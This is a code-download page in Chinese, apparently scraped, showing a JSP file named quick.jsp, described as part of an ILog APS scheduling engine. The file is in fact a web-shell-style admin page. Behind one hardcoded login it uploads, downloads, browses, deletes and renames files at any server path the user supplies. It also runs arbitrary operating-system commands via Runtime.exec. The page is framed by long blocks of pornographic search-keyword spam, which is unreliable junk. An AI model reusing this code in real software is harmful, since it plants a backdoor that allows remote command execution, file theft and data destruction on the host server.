亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? quick.jsp

?? 著名IT公司ILog的APS高級排產優化引擎
?? JSP
字號:
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.text.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.io.*"%>
<%@page import="upload.*"%>
<%@page import="com.paraster.servlet.CheckLogin" %>

<%
String _userARRAY[] = {"ken@paraster.com"};
String _userFOLDER[] = {""};

/**** check Logined ****/
	String _userID = "";
	String _linkCMD = CheckLogin.hasLogged(request);
	if (_linkCMD != null)
		response.sendRedirect(_linkCMD);

	else
		_userID = CheckLogin.getUserID(request);

	//check Valid User ID
	int _i = 0;
	for (_i=0; _i<_userARRAY.length; _i++) {
		if (_userID.compareTo(_userARRAY[_i]) == 0)
			break;
	}

	if (_i == _userARRAY.length) {
		out.println("access denied.");
		return;
	}
/**** check END ****/

	String pathtxt = _userFOLDER[_i];

%>
<title>ADMIN ID <<< <%=_userID%> >>></title>

<%
ContentFactory cf_upload = null;
ZipOutputStream zipos= null;

/**** Try to get File Upload first ****/
try {
  cf_upload = ContentFactory.getContentFactory(request,1024*1024*100);
}
catch (Exception e) {
	out.println("Upload error: '" +e.getMessage() + "'");
	return;
}

/**** File Processing ****/
try
{
	String operation = cf_upload.getParameter("operation").trim();;
	pathtxt += cf_upload.getParameter("pathtxt").trim();

/////////////////////////////////////////////////////////////////////////////////////////////////
//Upload File
/////////////////////////////////////////////////////////////////////////////////////////////////
if (operation.compareTo("1")==0) {
	out.println("<h4>File Upload result:</h4>");

	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists()) tmpFile.mkdir();

	for (int i=1; i<6; i++) {
		FileHolder uploadFile = cf_upload.getFileParameter("file"+i);
		if (uploadFile != null) {
		  String _tmpStr = uploadFile.getFileName();
		  int _idx = _tmpStr.lastIndexOf("\\");

		  String filename = pathtxt + "/" + (_idx!=-1?_tmpStr.substring(_idx+1):_tmpStr);
		  uploadFile.saveTo(filename);
		  out.println("<small>\""+filename+"\" Saved.</small><br>");
		}
	}
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Download File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("2")==0) {
	out.println("<h4>Download result:</h4>");

	int BLOCK = 1024*1024;
	//Check File Exists
	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists()) throw new Exception("File or Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");
	//Check Directory Empty
	if (tmpFile.isDirectory() && tmpFile.listFiles().length == 0) throw new Exception("Empty Directory <font color=\"red\">\"" + pathtxt + "\"</font>.");

	//Prepared New Zip File
	File zipFile=new File(getServletConfig().getServletContext().getRealPath("/") + "temporary.zip");

	if(!zipFile.exists()) zipFile.createNewFile();
	zipos = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(zipFile)));
	zipos.setMethod(ZipOutputStream.DEFLATED);

	//Write File
	if (tmpFile.isFile()) {
		BufferedInputStream fin = new BufferedInputStream(new FileInputStream(tmpFile));
		zipos.putNextEntry(new ZipEntry( tmpFile.getName() ));
		byte[] tmpByte = new byte[BLOCK];
		int len = 0;
		while ((len=fin.read(tmpByte)) != -1)
			zipos.write(tmpByte,0,len);
		fin.close();
		zipos.closeEntry();
	}

	//Write Directory
	else {

		File file = tmpFile;
		int path_Pos = tmpFile.getPath().lastIndexOf("/") + 1;
		Stack dir1_stack = new Stack();
		dir1_stack.push(file);
		/**** Compress all File ****/
		while (!dir1_stack.isEmpty()) {
		  File file_List[] = file.listFiles();
		  for (int i=0;i<file_List.length;i++) {
			File tmp_file = file_List[i];
			if (tmp_file.isDirectory()) {
				dir1_stack.push(file_List[i]);
				continue;
			}

			//Write File Bytes
			String tmp_path = tmp_file.getPath().substring(path_Pos);
			zipos.putNextEntry(new ZipEntry(tmp_path));

			//Read File Bytes
			BufferedInputStream fin = new BufferedInputStream(new FileInputStream(tmp_file));
			byte[] tmpByte = new byte[BLOCK];
			int len = 0;
			while ((len=fin.read(tmpByte)) != -1)
				zipos.write(tmpByte,0,len);
			fin.close();
			zipos.closeEntry();
		  }
		  file = (File)dir1_stack.pop();
		}
		zipos.finish();
	}

	response.sendRedirect("/pipe-eval/temporary.zip");
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Browse File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("3")==0) { 
	//Check Directory Exists
	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists() || !tmpFile.isDirectory())  throw new IOException("Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");%>

	<h4>Browse result: <%=tmpFile.getPath()%></h4>
	<script>
	function onclick_sub(s)
	{
		with (document.form1) {
			operation.value = "3";
			pathtxt.value = pathtext.value + "\\" + s;
			window.opener.document.form1.pathtxt.value = pathtxt.value;
			submit();
		}
		return false;
	}
	function onclick_download(s)
	{
		with (document.form1) {
			operation.value = "2";
			pathtxt.value = pathtext.value + "\\" + s;
			submit();
		}
		return false;
	}
	function onclick_up()
	{
		with (document.form1) {
			operation.value = "3";
			var idx = pathtext.value.lastIndexOf("\\");
			pathtxt.value = pathtext.value.substring(0,idx);
			window.opener.document.form1.pathtxt.value = pathtxt.value;
			submit();
		}
		return false;
	}
	function onclick_delete(s)
	{
		if (confirm("Delete \"" + s + "\"?")) {
		with (document.form1) {
			operation.value = "4";
			pathtxt.value = pathtext.value + "\\" + s;
			submit();
		}
		}
		return false;
	}
	function onclick_rename(s)
	{
		with (document.form1) {
		var str = prompt("Rename to:",pathtext.value + "\\" + s);
		if (str) {
			operation.value = "5";
			pathtxt.value = pathtext.value;
			orgname.value = s;
			descname.value = str;
			submit();
		}
		}
		return false;
	}
	</script>
	<form action="quick.jsp" name="form1" method="post" enctype="multipart/form-data">
		<input type="hidden" name="operation" value="3">
		<input type="hidden" name="pathtxt" value="">
<%
	String _relPath = tmpFile.getPath();
	if (_relPath.indexOf(_userFOLDER[_i]) != 0)
		_relPath = "/";
	else 
		_relPath = _relPath.substring(_userFOLDER[_i].length());
%>
		<input type="hidden" name="pathtext" value="<%=_relPath%>">
		<input type="hidden" name="orgname" value="">
		<input type="hidden" name="descname" value="">
	</form>
	<table>
<%
	//get File & Directory List
 	Map mapDir = new TreeMap();
	Map mapFile = new TreeMap();
	File file_List[] = tmpFile.listFiles();
	for (int i=0; i<file_List.length; i++) {
		  if (file_List[i].isDirectory()) 
		    mapDir.put(file_List[i].getName(),file_List[i]);
		  else
		    mapFile.put(file_List[i].getName(),file_List[i]);
	}%>

	<b>Directory:</b> <%=mapDir.size()%>  <b>File:</b> <%=mapFile.size()%>
	<tr>
	<td><%=tmpFile.getParent()!=null?"<a href=\"#\" onclick=\"javascript:return onclick_up()\"><font color=\"blue\"><small><b>..\\</a></b></small></font>":""%></td><td> </td><td> </td>
	</tr>

<%	Iterator itDir = mapDir.keySet().iterator();
	Iterator itFile = mapFile.keySet().iterator();
	SimpleDateFormat formatter = new SimpleDateFormat("yyyy/MM/dd HH:mm ");
	//Print Directory
	while (itDir.hasNext()) {
	  out.println("<tr>");
	  Object obj = itDir.next();
	  tmpFile = (File)mapDir.get(obj);
	  Date date = new Date(tmpFile.lastModified()); %>

	  <td nowrap>
	    <a href="#" onclick="javascript:return onclick_sub('<%=tmpFile.getName()%>')">
		<font color="blue"><small><b><%=tmpFile.getName()%></b></small></font></a>&nbsp;
	    <a href="#" onclick="javascript:return onclick_download('<%=tmpFile.getName()%>')">
	        <font color="green"><small>DOWN</small></font></a>
	    <a href="#" onclick="javascript:return onclick_rename('<%=tmpFile.getName()%>')">
	        <font color="green"><small>REN</small></font></a>
	    <a href="#" onclick="javascript:return onclick_delete('<%=tmpFile.getName()%>')">
	        <font color="red"><small>DEL</small></font></a>
	  </td>
	  <td nowrap><small><%=formatter.format(date)%></small></td>
	  <td nowrap align="right"><small><%=tmpFile.length()%></small></td>
	  </tr>

<%	}

	//Print File
	while (itFile.hasNext()) {
	  out.println("<tr>");
	  Object obj = itFile.next();
	  tmpFile = (File)mapFile.get(obj);
  	  Date date = new Date(tmpFile.lastModified()); %>

	  <td nowrap>
	    <a href="#" onclick="javascript:return onclick_download('<%=tmpFile.getName()%>')">
		<font color="red"><small><%=tmpFile.getName()%></small></font></a>&nbsp;
	    <a href="#" onclick="javascript:return onclick_rename('<%=tmpFile.getName()%>')">
	        <font color="green"><small>REN</small></font></a>
	    <a href="#" onclick="javascript:return onclick_delete('<%=tmpFile.getName()%>')">
	        <font color="red"><small>DEL</small></font></a>
	  </td>
	  <td nowrap><small><%=formatter.format(date)%></small></td>
	  <td nowrap align="right"><small><%=tmpFile.length()%></small></td></small>
	  </tr>

<%	}

	out.println("</table>");
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Delete File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("4")==0) {
	//Check Directory Exists
	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists())  throw new IOException("File or Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");%>

	<h4>Delete result:</h4>

<%	//Delete File
	if (tmpFile.isFile()) { %>
		<small>"<%=pathtxt%>" Deleted<%=(tmpFile.delete()?"":" <font color=\"red\">Failed</font>")%>.</small><br>
<%	}	
	//Delete Directory
	else {
		    File file = tmpFile;
		    Stack dir1_stack = new Stack();
		    Stack dir2_stack = new Stack();
		    dir1_stack.push(file);
		    dir2_stack.push(file);

		    /**** Delete all File ****/
		    while (!dir1_stack.isEmpty()) {
		      File file_List[] = file.listFiles();
		      for (int i=0;i<file_List.length;i++) {
			File tmp_file = file_List[i]; 
			if (tmp_file.isDirectory()) {
		          dir1_stack.push(file_List[i]);
			  dir2_stack.push(file_List[i]);
			  continue;
			} %>

			<small>"<%=tmp_file.getPath()%>" Deleted<%=(tmp_file.delete()?"":" <font color=\"red\">Failed</font>")%>.</small><br>
<%		      }
		      file = (File)dir1_stack.pop();
		    }

		    /**** Delete all Directory ****/
		    while (!dir2_stack.isEmpty()) {
		      File tmp_dir = (File)dir2_stack.pop(); %>
			  <small><b>"<%=tmp_dir.getPath()%>"</b> Deleted<%=(tmp_dir.delete()?"":" <font color=\"red\">Failed</font>")%>.</small><br>
<%		    }
	}

}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Rename File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("5")==0) {
	String orgname = cf_upload.getParameter("orgname").trim();;
	String descname = cf_upload.getParameter("descname").trim();

	//Check Directory Exists
	File tmpFile = new File(pathtxt + "\\" + orgname);
	if (!tmpFile.exists())  throw new IOException("File or Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");
	File descFile = new File(descname); %>

	<h4>Rename result:</h4>
	<small>File "<%=tmpFile.getPath()%>" Renamed to "<%=descFile.getPath()%>" <%=(tmpFile.renameTo(descFile)?"OK":"<font color=\"red\">Failed</font>")%>.</small><br>
<%
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Execute File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("6")==0) {
	String commandtxt = cf_upload.getParameter("commandtxt").trim();
	String commandpara = cf_upload.getParameter("commandpara").trim();

	Runtime r = Runtime.getRuntime(); %>

	<h4>Execute result:</h4>
	Total Memory: <%=r.totalMemory()/(1024.0f*1024.0f)%> MKb<br>
	Free Memory: <%=r.freeMemory()/(1024.0f*1024.0f)%> MKb

<%	Process p = null;
	StringTokenizer st = new StringTokenizer(commandpara,",");
	int _paraCount = st.countTokens() + 1;

	String cmd[] = new String[_paraCount];
	cmd[0] = commandtxt;
	if (_paraCount != 0) {
		for (int i = 1; i < _paraCount; i++)
			cmd[i] = st.nextToken();
	}
	File ff=new File ("c:\\");
	p=r.exec(cmd,null,ff);

}

}
catch(Exception e) {
	out.println("<br>"+e.toString());
	return;
}
finally {
	try {
		if (zipos != null) zipos.close();
	}
	catch(Exception e){}
}
%>

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美色大人视频| 一区二区三区电影在线播| 日韩视频永久免费| 欧美一区二区三区系列电影| 欧美日韩夫妻久久| 欧美日韩精品专区| 欧美久久一二区| 精品视频在线视频| 欧美精品一二三区| 欧美一区二区啪啪| 久久伊人蜜桃av一区二区| 精品精品国产高清a毛片牛牛 | 久久天堂av综合合色蜜桃网| 日韩欧美www| 久久夜色精品一区| 中文字幕乱码一区二区免费| 中文字幕一区视频| 亚洲精品成人天堂一二三| 亚洲成人免费看| 蜜桃久久久久久| 国产一区二区成人久久免费影院 | 欧美一区永久视频免费观看| 日韩一区二区三区四区五区六区| 欧美一区二区三区的| 精品免费视频一区二区| 久久精品人人做人人爽人人| 《视频一区视频二区| 亚洲影院在线观看| 老司机精品视频线观看86| 国产一区二区三区香蕉| 成人禁用看黄a在线| 色综合久久88色综合天天免费| 欧美午夜精品久久久久久超碰| 日韩一级高清毛片| 欧美国产成人精品| 亚洲一区二区综合| 久久精品国产免费看久久精品| 国产精品资源在线看| 色八戒一区二区三区| 欧美一级日韩一级| 国产视频在线观看一区二区三区| 最新中文字幕一区二区三区| 天堂av在线一区| 成人综合婷婷国产精品久久免费| 在线视频欧美精品| xnxx国产精品| 一区二区视频在线| 极品尤物av久久免费看| 91女神在线视频| 日韩一级高清毛片| 亚洲精品欧美二区三区中文字幕| 蜜桃视频一区二区三区在线观看| 大尺度一区二区| 678五月天丁香亚洲综合网| 国产欧美一二三区| 污片在线观看一区二区| 成人教育av在线| 欧美一级生活片| 亚洲黄色av一区| 国产成人免费视频网站高清观看视频 | 粉嫩av一区二区三区在线播放| 欧美日韩国产首页在线观看| 国产日韩视频一区二区三区| 亚洲福利视频一区二区| 成人app网站| 久久亚洲免费视频| 亚洲成人激情av| 波多野结衣在线一区| 日韩一区二区三区视频在线| 亚洲精品高清视频在线观看| 国产精品99久久久| 日韩欧美一区二区不卡| 一区二区三区在线看| 东方aⅴ免费观看久久av| 欧美一区二区三区免费大片| 亚洲精选在线视频| 国产成人av一区二区三区在线观看| 欧美日韩www| 亚洲精品成人天堂一二三| 成人免费视频播放| 国产欧美日韩在线观看| 美腿丝袜亚洲三区| 在线不卡一区二区| 亚洲小少妇裸体bbw| 99精品国产99久久久久久白柏| 久久久久免费观看| 麻豆成人免费电影| 6080日韩午夜伦伦午夜伦| 亚洲国产综合色| 欧美艳星brazzers| 亚洲精品中文在线观看| 成人激情综合网站| 国产精品少妇自拍| 国产成人午夜高潮毛片| 精品99999| 久久99精品国产麻豆婷婷洗澡| 91麻豆精品国产91久久久资源速度 | 精品国产一区二区三区av性色| 天天av天天翘天天综合网色鬼国产 | 国产高清精品在线| 久久久久久综合| 国产一区二区免费视频| 日韩精品一区二区三区视频在线观看| 爽好久久久欧美精品| 欧美二区在线观看| 五月天亚洲婷婷| 91精品欧美一区二区三区综合在| 日韩专区一卡二卡| 欧美精品99久久久**| 日韩精品国产精品| 欧美一区二区三区色| 美女一区二区久久| 久久先锋影音av鲁色资源网| 国产精品乡下勾搭老头1| 中文字幕高清一区| av成人免费在线观看| 亚洲欧洲另类国产综合| 色综合久久九月婷婷色综合| 亚洲第一福利一区| 欧美精品丝袜中出| 久久精品免费看| 国产三级精品三级| 一本大道久久精品懂色aⅴ| 夜夜爽夜夜爽精品视频| 欧美电影在哪看比较好| 精品一区二区三区免费观看| 国产偷v国产偷v亚洲高清| 91一区二区在线| 亚洲图片欧美视频| 欧美成人精品二区三区99精品| 国产麻豆视频精品| 国产精品国产a级| 欧美日韩电影在线| 加勒比av一区二区| 亚洲免费视频中文字幕| 欧美久久婷婷综合色| 国产精品一品视频| 奇米综合一区二区三区精品视频| 久久女同性恋中文字幕| 91视频免费播放| 全国精品久久少妇| 中日韩免费视频中文字幕| 欧美三级电影在线看| 九色综合狠狠综合久久| 中文字幕精品在线不卡| 欧美日韩在线播放三区四区| 激情久久五月天| 中文字幕一区二区三区蜜月| 欧美丰满嫩嫩电影| 波多野洁衣一区| 日本成人在线不卡视频| 国产精品麻豆欧美日韩ww| 欧美久久一区二区| 成人av网站免费观看| 日精品一区二区| 综合久久久久久| 欧美一级一级性生活免费录像| 99久久免费精品高清特色大片| 日本视频在线一区| 亚洲三级在线免费观看| 精品成人免费观看| 在线观看av不卡| 国产精品1区2区3区| 首页国产欧美久久| 一区二区中文视频| 精品国产亚洲一区二区三区在线观看| 9色porny自拍视频一区二区| 麻豆精品视频在线观看视频| 亚洲女厕所小便bbb| 久久久久久久久久久久久久久99| 欧美老肥妇做.爰bbww视频| 波多野洁衣一区| 国产精品123区| 另类小说欧美激情| 亚洲综合免费观看高清完整版在线| 国产日韩三级在线| 精品免费一区二区三区| 欧美日韩亚洲丝袜制服| 91尤物视频在线观看| 国产电影一区二区三区| 精一区二区三区| 日韩中文字幕区一区有砖一区| 亚洲欧美偷拍卡通变态| 国产女人aaa级久久久级| 精品奇米国产一区二区三区| 欧美日韩精品是欧美日韩精品| 99久久99久久久精品齐齐| 国产suv精品一区二区三区| 久久精品国产**网站演员| 午夜久久久久久久久| 亚洲精品亚洲人成人网| 国产精品不卡一区| 国产亚洲午夜高清国产拍精品| 日韩一区二区三区在线| 欧美一区二区三区视频在线| 欧美二区乱c少妇| 欧美三级电影在线观看| 在线视频一区二区三| 91官网在线免费观看| 色哟哟欧美精品|